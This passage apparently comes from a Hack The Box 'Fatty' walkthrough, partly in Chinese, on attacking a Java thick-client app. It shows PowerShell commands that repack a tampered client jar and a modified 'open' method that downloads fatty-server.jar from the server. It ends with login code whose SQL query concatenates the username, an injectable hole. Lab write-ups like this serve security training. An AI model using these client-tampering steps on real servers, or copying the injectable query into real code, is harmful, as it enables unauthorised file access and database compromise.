透過取消選取其他選項，偵錯將直接從應用程式的退出點開始，我們將避免瀏覽應用程式啟動前載入的任何dll檔案。然後，我們可以選擇file -> open ，並選擇restart-service.exe進行導入並開始偵錯。導入後，我們在CPU視圖內單擊滑鼠右鍵，然後Follow in Memory Map ：
Microsoft Windows [Version 10.0.17763.1879]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\cybervaca>cd Desktop
C:\Users\cybervaca\Desktop>.\Restart-OracleService.exe
cd C:\Apps\fatty-client\
jar -cmf .\META-INF\MANIFEST.MF ..\fatty-client-new.jar *
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Users\cybervaca> cd C:\Apps\fatty-client\
PS C:\Apps\fatty-client> jar -cmf .\META-INF\MANIFEST.MF ..\fatty-client-new.jar *
PS C:\Apps\fatty-client>
cd C:\Users\cybervaca\Desktop\
javac -cp fatty-client-new.jar fatty-client-new.jar.src/htb/fatty/client/gui/ClientGuiTest.java
mkdir raw
cp fatty-client-new.jar raw/fatty-client-new-2.jar
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Windows\system32> cd C:\Users\cybervaca\Desktop\
PS C:\Users\cybervaca\Desktop> javac -cp fatty-client-new.jar fatty-client-new.jar.src/htb/fatty/client/gui/ClientGuiTest.java
PS C:\Users\cybervaca\Desktop> mkdir raw
Directory: C:\Users\cybervaca\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 4/1/2023 1:28 AM raw
PS C:\Users\cybervaca\Desktop> cp fatty-client-new.jar raw/fatty-client-new-2.jar
cd raw
jar -cmf META-INF/MANIFEST.MF traverse.jar .
PS C:\Users\cybervaca\Desktop> cd raw
PS C:\Users\cybervaca\Desktop\raw> jar -cmf META-INF/MANIFEST.MF traverse.jar .
import java.io.FileOutputStream;
public String open(String foldername, String filename) throws MessageParseException, MessageBuildException, IOException {
String methodName = (new Object() {}).getClass().getEnclosingMethod().getName();
logger.logInfo("[+] Method '" + methodName + "' was called by user '" + this.user.getUsername() + "'.");
if (AccessCheck.checkAccess(methodName, this.user)) {
return "Error: Method '" + methodName + "' is not allowed for this user account";
}
this.action = new ActionMessage(this.sessionID, "open");
this.action.addArgument(foldername);
this.action.addArgument(filename);
sendAndRecv();
String desktopPath = System.getProperty("user.home") + "\\Desktop\\fatty-server.jar";
FileOutputStream fos = new FileOutputStream(desktopPath);
if (this.response.hasError()) {
return "Error: Your action caused an error on the application server!";
}
byte[] content = this.response.getContent();
fos.write(content);
fos.close();
return "Successfully saved the file to " + desktopPath;
}
javac -cp fatty-client-new.jar .\fatty-client-new.jar.src\htb\fatty\client\methods\Invoker.java
mv -Force .\fatty-client-new.jar.src\htb\fatty\client\methods\*.class .\raw\htb\fatty\client\methods\
cd raw
jar -cmf META-INF/MANIFEST.MF fatty-client-modified.jar .
PS C:\Users\cybervaca\Desktop> javac -cp fatty-client-new.jar .\fatty-client-new.jar.src\htb\fatty\client\methods\Invoker.java
PS C:\Users\cybervaca\Desktop> mv -Force .\fatty-client-new.jar.src\htb\fatty\client\methods\*.class .\raw\htb\fatty\client\methods\
PS C:\Users\cybervaca\Desktop> cd raw
PS C:\Users\cybervaca\Desktop\raw> jar -cmf META-INF/MANIFEST.MF fatty-client-modified.jar .
public User checkLogin(User user) throws LoginException {
<SNIP>
rs = stmt.executeQuery("SELECT id,username,email,password,role FROM users WHERE username='" + user.getUsername() + "'");
<SNIP>
if (newUser.getPassword().equalsIgnoreCase(user.getPassword()))
return newUser;
throw new LoginException("Wrong Password!");
<SNIP>
this.logger.logError("[-] Failure with SQL query: ==> SELECT id,username,email,password,role FROM users WHERE username='" + user.getUsername() + "' <==");
this.logger.logError("[-] Exception was: '" + e.getMessage() + "'");
return null;
